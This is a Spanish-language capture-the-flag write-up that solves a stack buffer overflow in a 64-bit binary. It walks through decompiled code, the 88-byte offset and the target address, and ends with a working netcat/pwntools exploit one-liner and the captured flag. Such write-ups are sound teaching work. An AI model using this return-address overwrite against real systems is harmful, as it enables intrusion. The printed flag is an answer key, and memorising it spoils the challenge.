A Very Good Place to Start
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado start
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
Si usamos Ghidra para extraer el código fuente en C descompilado, veremos la siguiente función main
:
int main() {
int ret;
char name[64];
FILE *fp;
uint i;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
printf("What\'s your name? ");
fgets(name, 128, stdin);
i = 0;
do {
if (63 < i) {
LAB_00401240:
ret = strcmp("nonadmin", "admin");
if (ret == 0) {
puts(flag);
} else {
printf("Hi %s! It doesn\'t look like you\'re an admin. Try again later!\n", name);
}
return 0;
}
if (name[(int) i] == '\n') {
name[(int) i] = '\0';
goto LAB_00401240;
}
i = i + 1;
} while (true);
}
Básicamente, pide ingresar a un nombre:
$ nc puzzler7.imaginaryctf.org 7004
What's your name? admin
Hi admin! It doesn't look like you're an admin. Try again later!
Ncat: Broken pipe.
Para obtener la flag, el programa verifica si "nonadmin"
es igual a "admin"
, que es falso.
Vulnerabilidad de Buffer Overflow
Sin embargo, obsérvese que name
es una cadena de caracteres de 64 bytes, pero el programa lee hasta 128, por lo que podemos exceder del espacio reservado y modificar valores críticos como la dirección de retorno, que se coloca en la pila (stack).
En la pila, tendremos 64 bytes para name
, luego 8 bytes para fp
, 8 bytes para i
, 8 bytes para el valor guardado de $rbp
y luego 8 bytes para el valor guardado de $rip
(la dirección de retorno). En resumen, el offset es 88.
Estamos interesados en modificar la dirección de retorno y redirigir el programa a puts(flag)
. Esta dirección es 0x401271
:
$ objdump -M intel --disassemble-symbols=main start | grep -C 2 flag
4011c5: 48 89 45 f0 mov qword ptr [rbp - 16], rax
4011c9: 48 8b 45 f0 mov rax, qword ptr [rbp - 16]
4011cd: 48 8d 15 cc 2e 00 00 lea rdx, [rip + 11980] # 0x4040a0 <flag>
4011d4: 48 8d 35 3a 0e 00 00 lea rsi, [rip + 3642] # 0x402015 <_IO_stdin_used+0x15>
4011db: 48 89 c7 mov rdi, rax
--
40126a: e8 f1 fd ff ff call 0x401060 <printf@plt>
40126f: eb 0c jmp 0x40127d <main+0xfb>
401271: 48 8d 3d 28 2e 00 00 lea rdi, [rip + 11816] # 0x4040a0 <flag>
401278: e8 c3 fd ff ff call 0x401040 <puts@plt>
40127d: b8 00 00 00 00 mov eax, 0
Tendremos que usar formato little-endian, o podemos llamar a p64
en pwntools
.
Flag
La flag se puede conseguir con el siguiente “one-liner”:
$ (python3 -c 'from pwn import os, p64; os.write(1, b"A" * 88 + p64(0x401271) + b"\n")'; cat) | nc puzzler7.imaginaryctf.org 7004
What's your name? Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@! It doesn't look like you're an admin. Try again later!
ictf{I_have_a_bad_habit_of_jumping_into_the_middle_of_things}